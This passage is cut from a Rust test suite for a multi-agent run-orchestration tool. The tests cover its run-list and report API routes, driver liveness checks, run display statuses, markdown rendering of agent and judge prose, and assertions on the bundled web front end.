14043 };
14044 write(
14045 "20260930-092817-ec34",
14046 Some(crate::run::Origin::from_agent_env(
14047 Some(("4a7b".to_owned(), "chat".to_owned())),
14048 None,
14049 )),
14050 None,
14051 );
14052 write("20260930-092817-0ld1", None, Some(12));
14053
14054 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
14055 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
14056 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
14057
14058 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
14059 assert_eq!(
14060 old["origin_label"], "origin unknown (started before origins were recorded)",
14061 "{old}"
14062 );
14063 assert!(old["origin"].is_null(), "{old}");
14064
14065 let list = f.get("/api/runs").await.json();
14066 let labels: Vec<_> = list
14067 .as_array()
14068 .unwrap()
14069 .iter()
14070 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
14071 .collect();
14072 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
14073 }
14074
14075 #[tokio::test]
14082 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
14083 let f = Fixture::start().await;
14084 let id = "20260922-090000-cccc";
14085 let mut state = RunState::new(
14086 PathBuf::from("/repo/magi"),
14087 "main".to_owned(),
14088 "0123456789abcdef".to_owned(),
14089 "Review only".to_owned(),
14090 Config::default(),
14091 );
14092 state.id = id.to_owned();
14093 state.status = RunStatus::Reviewing;
14094 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14095 state.driver_pid = Some(std::process::id());
14101 state.driver_started_at = Some(
14102 crate::proc::process_started_at(std::process::id())
14103 .expect("this test process's own start time must be queryable"),
14104 );
14105 let dir = f.runs().join(id);
14106 std::fs::create_dir_all(&dir).expect("run dir");
14107 std::fs::write(
14108 dir.join("run.json"),
14109 serde_json::to_string_pretty(&state).expect("serialize run"),
14110 )
14111 .expect("write run.json");
14112
14113 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14114 assert_eq!(detail["live"], "live", "{detail}");
14115 }
14116
14117 #[tokio::test]
14123 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
14124 let f = Fixture::start().await;
14125 let id = "20260922-090100-dddd";
14126 let mut state = RunState::new(
14127 PathBuf::from("/repo/magi"),
14128 "main".to_owned(),
14129 "0123456789abcdef".to_owned(),
14130 "Review only".to_owned(),
14131 Config::default(),
14132 );
14133 state.id = id.to_owned();
14134 state.status = RunStatus::Reviewing;
14135 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14136 state.driver_pid = Some(std::process::id());
14141 state.driver_started_at = Some("1".to_owned());
14142 let dir = f.runs().join(id);
14143 std::fs::create_dir_all(&dir).expect("run dir");
14144 std::fs::write(
14145 dir.join("run.json"),
14146 serde_json::to_string_pretty(&state).expect("serialize run"),
14147 )
14148 .expect("write run.json");
14149
14150 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14151 assert_eq!(detail["live"], "dead", "{detail}");
14152 }
14153
14154 #[test]
14158 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
14159 let mk = |id: &str, pid: Option<u32>| {
14160 let mut s = RunState::new(
14161 PathBuf::from("/repo/magi"),
14162 "main".to_owned(),
14163 "0123456789abcdef".to_owned(),
14164 "Add a web UI".to_owned(),
14165 Config::default(),
14166 );
14167 s.id = id.to_owned();
14168 s.driver_pid = pid;
14169 s.driver_started_at = Some("1790000000".to_owned());
14170 s
14171 };
14172 let states = vec![
14173 mk("20260902-140502-aaaa", Some(77)),
14174 mk("20260902-140502-bbbb", Some(77)),
14175 mk("20260902-140502-cccc", Some(77)),
14176 mk("20260902-140502-dddd", None),
14177 ];
14178 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
14179 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
14180 let sup: HashMap<String, String> = [(
14181 "20260902-140502-aaaa".to_owned(),
14182 "20260902-140502-cccc".to_owned(),
14183 )]
14184 .into();
14185
14186 let status_calls = std::cell::Cell::new(0);
14187 let identity_calls = std::cell::Cell::new(0);
14188 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
14189 |_| {
14190 status_calls.set(status_calls.get() + 1);
14191 Some(true)
14192 },
14193 |_| {
14194 identity_calls.set(identity_calls.get() + 1);
14195 Some("1790000000".to_owned())
14196 },
14197 ));
14198 let rows = summarize(
14199 states,
14200 &open,
14201 &claimed,
14202 &sup,
14203 |p| probe.borrow_mut().status(p),
14204 |p| probe.borrow_mut().started_at(p),
14205 );
14206
14207 assert_eq!(status_calls.get(), 1, "one pid, one status query");
14208 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
14209 assert_eq!(rows.len(), 4);
14210 assert!(!rows[0].waiting && rows[1].waiting);
14211 assert_eq!(rows[0].live, crate::run::Liveness::Live);
14212 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
14213 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
14214 assert_eq!(rows[1].superseded_by, None);
14215 }
14216
14217 #[test]
14218 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
14219 let mut state = RunState::new(
14220 PathBuf::from("/repo/magi"),
14221 "main".to_owned(),
14222 "0123456789abcdef".to_owned(),
14223 "Review only".to_owned(),
14224 Config::default(),
14225 );
14226 state.id = "20260922-090200-dead".to_owned();
14227 state.status = RunStatus::Reviewing;
14228 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
14229 .expect("serialize list row");
14230 assert_eq!(row["status"], "reviewing");
14231 assert_eq!(row["display_status"], "stale");
14232 assert_eq!(row["live"], "dead", "{row}");
14233 assert!(!row["done"].as_bool().unwrap());
14234 }
14235
14236 #[test]
14237 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
14238 use crate::run::Liveness::{Dead, Live, Unknown};
14239 let mut state = RunState::new(
14240 PathBuf::from("/repo/magi"),
14241 "main".to_owned(),
14242 "abc".to_owned(),
14243 "Review only".to_owned(),
14244 Config::default(),
14245 );
14246 for (status, parked, node, waiting, live, expected) in [
14247 (
14248 RunStatus::Judging,
14249 true,
14250 "github-text",
14251 false,
14252 Dead,
14253 "parked",
14254 ),
14255 (RunStatus::Judging, false, "park", false, Dead, "stale"),
14256 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
14257 (
14258 RunStatus::Judging,
14259 true,
14260 "github-text",
14261 true,
14262 Dead,
14263 "waiting",
14264 ),
14265 (
14266 RunStatus::Judging,
14267 false,
14268 "github-text",
14269 true,
14270 Dead,
14271 "waiting",
14272 ),
14273 (
14274 RunStatus::Judging,
14275 false,
14276 "github-text",
14277 false,
14278 Dead,
14279 "stale",
14280 ),
14281 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
14282 (RunStatus::Judging, true, "park", false, Live, "judging"),
14283 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
14284 (RunStatus::Merged, true, "park", false, Dead, "merged"),
14285 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
14286 (
14287 RunStatus::Blocked,
14288 true,
14289 "github-text",
14290 true,
14291 Dead,
14292 "waiting",
14293 ),
14294 ] {
14295 state.status = status;
14296 state.parked = parked;
14297 state.events.clear();
14298 state.event(
14299 "park",
14300 "an earlier park does not determine the latest state",
14301 );
14302 state.event(node, "message is not used for classification");
14303 let summary = RunSummary::of(&state, waiting, live);
14304 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
14305 assert_eq!(
14306 summary.display_status, expected,
14307 "{status:?}/{node}/{live:?}"
14308 );
14309 assert_eq!(detail.display_status, summary.display_status);
14310 assert_eq!(detail.waiting, summary.waiting);
14311 }
14312 state.status = RunStatus::Judging;
14313 state.parked = false;
14314 state.events.clear();
14315 assert_eq!(run_display_status(&state, false, Dead), "stale");
14316 }
14317
14318 #[tokio::test]
14319 async fn run_display_status_routes_share_the_open_question_store() {
14320 let f = Fixture::start().await;
14321 let id = "20260922-090200-abcd";
14322 write_run(&f.runs(), id, RunStatus::Judging);
14323 let mut state = read_run(&f.runs(), id).unwrap();
14324 state.parked = true;
14325 state.driver_exited = true;
14326 state.event("github-text", "waiting for the owner");
14327 state.save_under(f.home.path()).unwrap();
14328 let store = f.questions();
14329 let mut q = Question::new(
14330 id.to_owned(),
14331 "github-text".to_owned(),
14332 "owner".to_owned(),
14333 "Approve the text?".to_owned(),
14334 String::new(),
14335 Vec::new(),
14336 );
14337 store.put(&mut q).unwrap();
14338 for expected in ["waiting", "parked"] {
14339 let list = f.get("/api/runs").await.json();
14340 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14341 assert_eq!(list[0]["display_status"], expected);
14342 assert_eq!(detail["display_status"], expected);
14343 assert_eq!(detail["waiting"], list[0]["waiting"]);
14344 q.status = ask::QuestionStatus::Answered;
14345 store.put(&mut q).unwrap();
14346 }
14347 }
14348
14349 #[tokio::test]
14350 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
14351 let f = Fixture::start().await;
14352 let id = "20260922-090200-abcd";
14353 write_run(&f.runs(), id, RunStatus::Judging);
14354 let mut state = read_run(&f.runs(), id).unwrap();
14355 state.parked = true;
14356 state.driver_exited = true;
14357 state.event("park", "stopped at a node boundary");
14358 state.save_under(f.home.path()).unwrap();
14359
14360 for expected in ["parked", "stale"] {
14361 let list = f.get("/api/runs").await.json();
14362 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14363 assert_eq!(list[0]["live"], "dead");
14364 assert_eq!(list[0]["display_status"], expected);
14365 assert_eq!(detail["display_status"], expected);
14366 state.parked = false;
14369 state.save_under(f.home.path()).unwrap();
14370 }
14371 }
14372
14373 #[tokio::test]
14374 async fn the_run_list_is_newest_first_and_honours_a_limit() {
14375 let f = Fixture::start().await;
14376 for id in [
14377 "20260902-140501-aaaa",
14378 "20260902-140502-bbbb",
14379 "20260902-140503-cccc",
14380 ] {
14381 write_run(&f.runs(), id, RunStatus::Merged);
14382 }
14383
14384 let all = f.get("/api/runs").await.json();
14385 let capped = f.get("/api/runs?limit=2").await.json();
14386
14387 assert_eq!(all[0]["id"], "20260902-140503-cccc");
14388 assert_eq!(all.as_array().map(Vec::len), Some(3));
14389 assert_eq!(capped.as_array().map(Vec::len), Some(2));
14390 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
14391 }
14392
14393 #[tokio::test]
14394 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
14395 let f = Fixture::start().await;
14396 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
14397
14398 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
14399
14400 assert_eq!(res.status, 200);
14401 assert!(
14402 res.headers
14403 .contains("content-type: text/plain; charset=utf-8"),
14404 "a browser must render it, not download it: {}",
14405 res.headers
14406 );
14407 assert!(
14411 res.body.contains("20260902-140501-a1b2"),
14412 "the report is about the run that was asked for: {}",
14413 res.body
14414 );
14415 }
14416
14417 #[tokio::test]
14418 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
14419 crate::run::pin_test_home();
14421 let f = Fixture::start().await;
14422 let id = "20260902-140501-a1b2";
14423 write_run(&f.runs(), id, RunStatus::Stalled);
14424 let path = f.runs().join(id).join("run.json");
14427 let mut v: serde_json::Value =
14428 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14429 v["tally"] = serde_json::json!({
14430 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
14431 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
14432 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
14433 "met_quorum": false, "rankings": 1
14434 });
14435 v["reviews"] = serde_json::json!([{
14436 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
14437 "e2e_deferred": true,
14438 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
14439 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
14440 ]}]
14441 }]);
14442 std::fs::write(&path, v.to_string()).unwrap();
14443 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
14444 std::fs::write(
14445 f.runs().join("20260902-140502-dead").join("run.json"),
14446 "{not json",
14447 )
14448 .unwrap();
14449
14450 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
14451
14452 assert_eq!(res.status, 200, "{}", res.body);
14453 assert!(res.headers.contains("content-type: application/json"));
14454 let j = res.json();
14455 assert_eq!(j["schema"], 1);
14456 assert_eq!(j["header"]["id"], id);
14457 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
14458 let kinds: Vec<&str> = j["sections"]
14459 .as_array()
14460 .unwrap()
14461 .iter()
14462 .map(|s| s["kind"].as_str().unwrap())
14463 .collect();
14464 assert_eq!(kinds, ["candidates", "tally", "review"]);
14465 let tally = &j["sections"][1]["tally"];
14466 assert_eq!(
14467 (tally["decided"].clone(), tally["provisional"].clone()),
14468 (false.into(), true.into())
14469 );
14470 let round = &j["sections"][2]["rounds"][0];
14471 assert_eq!(round["e2e"]["state"], "deferred");
14472 assert_eq!(round["findings"][0]["severity"], "major");
14473 assert_eq!(round["findings"][0]["blocking"], true);
14474 assert_eq!(round["findings"][0]["state"], "open");
14475
14476 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
14478
14479 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
14481 assert_ne!(bad.status, 200, "{}", bad.body);
14482 assert_eq!(
14483 bad.status,
14484 f.get("/api/runs/20260902-140502-dead/report").await.status
14485 );
14486 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
14487 assert_eq!(
14488 f.get("/api/runs/20260902-999999-ffff/report.json")
14489 .await
14490 .status,
14491 404
14492 );
14493 }
14494
14495 #[tokio::test]
14496 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
14497 crate::run::pin_test_home();
14498 let f = Fixture::start().await;
14499 let id = "20260902-140503-delib";
14500 write_run(&f.runs(), id, RunStatus::Merged);
14501 let path = f.runs().join(id).join("run.json");
14502 let mut v: serde_json::Value =
14503 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14504 v["judgements"] = serde_json::json!([
14505 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
14506 ]);
14507 v["tally"] = serde_json::json!({
14508 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
14509 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
14510 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
14511 "met_quorum": true, "rankings": 1
14512 });
14513 v["deliberation"] = serde_json::json!([
14514 {
14515 "round": 1,
14516 "turns": [
14517 {
14518 "judge": 1,
14519 "agent": "judge-1",
14520 "body": "I prefer candidate **A** because it has cleaner tests.",
14521 "tentative": "A"
14522 }
14523 ]
14524 },
14525 {
14526 "round": 2,
14527 "turns": [
14528 {
14529 "judge": 1,
14530 "agent": "judge-1",
14531 "body": "Still thinking, no choice yet.",
14532 "tentative": null
14533 }
14534 ]
14535 }
14536 ]);
14537 std::fs::write(&path, v.to_string()).unwrap();
14538
14539 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
14540 assert_eq!(res.status, 200, "{}", res.body);
14541 let j = res.json();
14542 let judging = j["sections"]
14543 .as_array()
14544 .unwrap()
14545 .iter()
14546 .find(|s| s["kind"] == "judging")
14547 .expect("judging section exists");
14548
14549 let delib_lines = judging["deliberation"].as_array().unwrap();
14551 assert_eq!(delib_lines.len(), 2);
14552 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
14553 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
14554
14555 let rounds = judging["rounds"].as_array().unwrap();
14557 assert_eq!(rounds.len(), 2);
14558 let r1_t0 = &rounds[0]["turns"][0];
14559 assert_eq!(r1_t0["judge"], 1);
14560 assert_eq!(r1_t0["agent"], "judge-1");
14561 assert_eq!(r1_t0["tentative"], "A");
14562 assert_eq!(
14563 r1_t0["body"],
14564 "I prefer candidate **A** because it has cleaner tests."
14565 );
14566 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
14567
14568 let r2_t0 = &rounds[1]["turns"][0];
14569 assert_eq!(r2_t0["judge"], 1);
14570 assert_eq!(r2_t0["agent"], "judge-1");
14571 assert!(r2_t0["tentative"].is_null());
14572 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
14573 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
14574
14575 let id_empty = "20260902-140504-nodelib";
14577 write_run(&f.runs(), id_empty, RunStatus::Merged);
14578 let path_empty = f.runs().join(id_empty).join("run.json");
14579 let mut v_empty: serde_json::Value =
14580 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
14581 v_empty["judgements"] = serde_json::json!([
14582 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
14583 ]);
14584 v_empty["deliberation"] = serde_json::json!([]);
14585 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
14586
14587 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
14588 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
14589 let j_empty = res_empty.json();
14590 let judging_empty = j_empty["sections"]
14591 .as_array()
14592 .unwrap()
14593 .iter()
14594 .find(|s| s["kind"] == "judging")
14595 .expect("judging section exists");
14596 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
14597 }
14598
14599 #[tokio::test]
14600 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
14601 let f = Fixture::start().await;
14602
14603 let html = f.get("/").await;
14604 let css = f.get("/app.css").await;
14605 let js = f.get("/app.js").await;
14606
14607 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
14608 assert!(
14609 html.headers
14610 .contains("content-type: text/html; charset=utf-8")
14611 );
14612 assert!(css.headers.contains("content-type: text/css"));
14613 assert!(js.headers.contains("content-type: text/javascript"));
14614 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
14615 }
14616
14617 #[test]
14618 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
14619 let body = |name: &str| {
14620 let at = APP_JS
14621 .find(name)
14622 .unwrap_or_else(|| panic!("{name} missing"));
14623 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
14624 };
14625 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
14626 let note = body("function landRoundNote");
14627 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
14628 assert!(note.contains("Land round ${round}"));
14629 let land = body("function renderLand");
14630 let note_at = land
14631 .find("landRoundNote(pr)")
14632 .expect("renderLand uses the note");
14633 assert!(
14634 note_at
14635 < land
14636 .find("roundRail(pr)")
14637 .expect("renderLand uses the rail")
14638 );
14639 }
14640
14641 #[test]
14642 fn the_runs_page_redesign_keeps_its_guards() {
14643 let body = |name: &str| {
14644 let at = APP_JS
14645 .find(name)
14646 .unwrap_or_else(|| panic!("{name} missing"));
14647 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
14648 };
14649 let land = body("function renderLand");
14651 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
14652 assert!(
14653 !land.contains("box.append("),
14654 "renderLand must use append()"
14655 );
14656 assert!(land.contains("append(box, ["));
14657 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
14659 assert!(
14660 body("function applyRoute")
14661 .contains("route.name !== state.route.name || route.id !== state.route.id")
14662 );
14663 assert!(!APP_JS.contains("adviseConvergeDiagram"));
14665 assert!(!INDEX_HTML.contains("advise-converge"));
14666 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
14667 assert!(APP_JS.contains("provisional"));
14668 for id in [
14669 "run-tab-overview",
14670 "run-tab-timeline",
14671 "run-tab-report",
14672 "run-report",
14673 "runs-scope",
14674 ] {
14675 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
14676 }
14677 assert!(!INDEX_HTML.contains("runs-tree"));
14678 assert!(!INDEX_HTML.contains("run-raw-panel"));
14679 assert!(APP_JS.contains("resume"));
14681 assert!(APP_JS.contains("unreadable"));
14683 }
14684
14685 #[test]
14686 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
14687 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
14688 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
14689 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
14690 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
14691 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
14692 assert!(APP_JS.contains("unreadable` : null"));
14694 }
14695
14696 #[test]
14697 fn the_run_detail_payload_says_whether_the_run_is_done() {
14698 for (status, done) in [
14700 (RunStatus::Superseded, true),
14701 (RunStatus::Blocked, true),
14702 (RunStatus::Landing, false),
14703 ] {
14704 let mut state = RunState::new(
14705 std::path::PathBuf::from("/repo"),
14706 "main".to_owned(),
14707 "abc".to_owned(),
14708 "x".to_owned(),
14709 crate::config::Config::default(),
14710 );
14711 state.status = status;
14712 let v = serde_json::to_value(RunDetailView::of(
14713 state,
14714 false,
14715 crate::run::Liveness::Unknown,
14716 None,
14717 None,
14718 None,
14719 ))
14720 .unwrap();
14721 assert_eq!(v["done"], done, "{status:?}");
14722 }
14723 }
14724
14725 fn has_strong(nodes: &[md::Node]) -> bool {
14727 serde_json::to_string(nodes).unwrap().contains("strong")
14728 }
14729
14730 #[test]
14731 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
14732 let mut state = RunState::new(
14733 std::path::PathBuf::from("/repo"),
14734 "main".to_owned(),
14735 "abc".to_owned(),
14736 "x".to_owned(),
14737 crate::config::Config::default(),
14738 );
14739 let proposal = |approach: &str| {
14740 serde_json::json!({
14741 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
14742 })
14743 };
14744 state.advice = Some(
14745 serde_json::from_value(serde_json::json!({
14746 "records": [
14747 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
14748 "proposal": proposal("do **this**")},
14749 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
14750 ],
14751 "synthesis": "- one\n- **two**\n\n`code`",
14752 }))
14753 .unwrap(),
14754 );
14755 state.candidates = serde_json::from_value(serde_json::json!([
14756 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
14757 "summary": "did **it**"},
14758 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
14759 ]))
14760 .unwrap();
14761 state.reviews = serde_json::from_value(serde_json::json!([{
14764 "round": 1, "head": "h",
14765 "reviews": [{
14766 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
14767 "findings": [
14768 {"severity": "nit", "title": "t1", "detail": "plain nit"},
14769 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
14770 ],
14771 }],
14772 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
14773 "fix": {"agent": "a", "notes": "fixed **it**",
14774 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
14775 }, {"round": 2, "head": "h2", "reviews": []}]))
14776 .unwrap();
14777
14778 let v = serde_json::to_value(RunDetailView::of(
14779 state,
14780 false,
14781 crate::run::Liveness::Unknown,
14782 None,
14783 None,
14784 None,
14785 ))
14786 .unwrap();
14787
14788 let strong = |p: &str| {
14789 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
14790 assert!(n.to_string().contains("strong"), "{p}: {n}");
14791 };
14792 strong("/advice_md/synthesis");
14793 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
14794 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
14795 strong("/advice_md/approaches/0");
14796 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
14797 strong("/candidate_summaries_md/0");
14798 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
14799 strong("/reviews_md/0/reviewers/0/summary");
14800 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
14801 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
14802 assert!(f[1].to_string().contains("strong"));
14803 strong("/reviews_md/0/reconsideration/0");
14804 strong("/reviews_md/0/fix/notes");
14805 strong("/reviews_md/0/fix/rejected/0");
14806 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
14807 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
14808 assert_eq!(v["candidates"][0]["summary"], "did **it**");
14810 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
14811 }
14812
14813 #[test]
14814 fn a_run_without_advice_has_no_advice_md() {
14815 let state = RunState::new(
14816 std::path::PathBuf::from("/repo"),
14817 "main".to_owned(),
14818 "abc".to_owned(),
14819 "x".to_owned(),
14820 crate::config::Config::default(),
14821 );
14822 let p = run_prose_md(&state);
14823 assert!(p.advice_md.is_none());
14824 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
14825 }
14826
14827 #[test]
14828 fn a_question_view_carries_markdown_for_each_thread_turn() {
14829 let home = TempDir::new().unwrap();
14830 let store = ask::Questions::at(home.path().join("questions"));
14831 let mut q = Question::new(
14832 "run".to_owned(),
14833 "implement".to_owned(),
14834 "impl-A".to_owned(),
14835 "which?".to_owned(),
14836 String::new(),
14837 Vec::new(),
14838 );
14839 q.say("plain words").unwrap();
14840 q.reply("use **this**", Vec::new()).unwrap();
14841 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
14842 let bodies = &v["thread_bodies_md"];
14843 assert_eq!(bodies.as_array().unwrap().len(), 2);
14844 assert!(!bodies[0].to_string().contains("strong"));
14845 assert!(bodies[1].to_string().contains("strong"));
14846 }
14847
14848 #[test]
14849 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
14850 let home = TempDir::new().unwrap();
14851 let store = ask::Questions::at(home.path().join("questions"));
14852 let mut q = Question::new(
14853 "run".to_owned(),
14854 "conduct".to_owned(),
14855 "conduct".to_owned(),
14856 "which?".to_owned(),
14857 String::new(),
14858 Vec::new(),
14859 );
14860 q.say("plain words").unwrap();
14861 q.thread.push(ask::Turn {
14862 who: ask::Who::Agent,
14863 body: "Settled as `merge`".to_owned(),
14864 at: jiff::Timestamp::now(),
14865 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
14866 });
14867 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
14868 let notes = &v["thread_notes_md"];
14869 assert_eq!(notes.as_array().unwrap().len(), 2);
14870 assert!(notes[0].is_null());
14871 let text = notes[1].to_string();
14872 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
14873 assert!(APP_JS.contains("ask-turn-note"));
14874 }
14875
14876 #[test]
14877 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
14878 assert!(APP_JS.contains("function landView(run, raw) {"));
14882 assert!(
14883 APP_JS.contains(
14884 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
14885 )
14886 );
14887 assert!(APP_JS.contains("const pr = landView(run, raw);"));
14888 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
14889 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
14890 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
14891 }
14892
14893 #[test]
14894 fn live_runs_are_never_hidden_or_folded_as_superseded() {
14895 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
14896 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
14897 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
14898 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
14899 }
14900
14901 #[test]
14902 fn review_rounds_label_a_distinct_verified_head() {
14903 assert!(APP_JS.contains("round.verified_head"));
14904 assert!(APP_JS.contains("verified HEAD"));
14905 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
14906 }
14907
14908 #[test]
14909 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
14910 assert!(APP_JS.contains("blocked: { glyph:"));
14914 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
14915
14916 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
14920 assert!(
14921 APP_JS.contains(
14922 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
14923 ),
14924 "the note line must name what a blocked task is waiting on, not just that it is blocked"
14925 );
14926 assert!(APP_JS.contains("if (status === \"blocked\") {"));
14930
14931 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
14935 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
14936 assert!(
14937 APP_JS.contains("location.hash = \"#/questions\";"),
14938 "a question node must jump to the Questions screen, not pretend to be a task"
14939 );
14940
14941 assert!(APP_JS.contains("Resolved questions"));
14944 assert!(APP_JS.contains("r.answersList.append("));
14945 assert!(APP_CSS.contains(".task-answers"));
14946 {
14947 let start = APP_JS
14948 .find("function updateTalkTaskRow")
14949 .expect("updateTalkTaskRow");
14950 let body = &APP_JS[start..];
14951 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
14952 assert!(
14953 body.contains(
14954 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
14955 ),
14956 "a chat-filed task row must link to the task page"
14957 );
14958 assert!(
14959 !body.contains("#/runs/") && !body.contains("#/queue/"),
14960 "the row must not branch to a run or the queue card"
14961 );
14962 assert!(APP_CSS.contains(".talk-task-link"));
14963 }
14964 }
14965
14966 #[test]
14967 fn a_task_notification_links_to_the_task_page() {
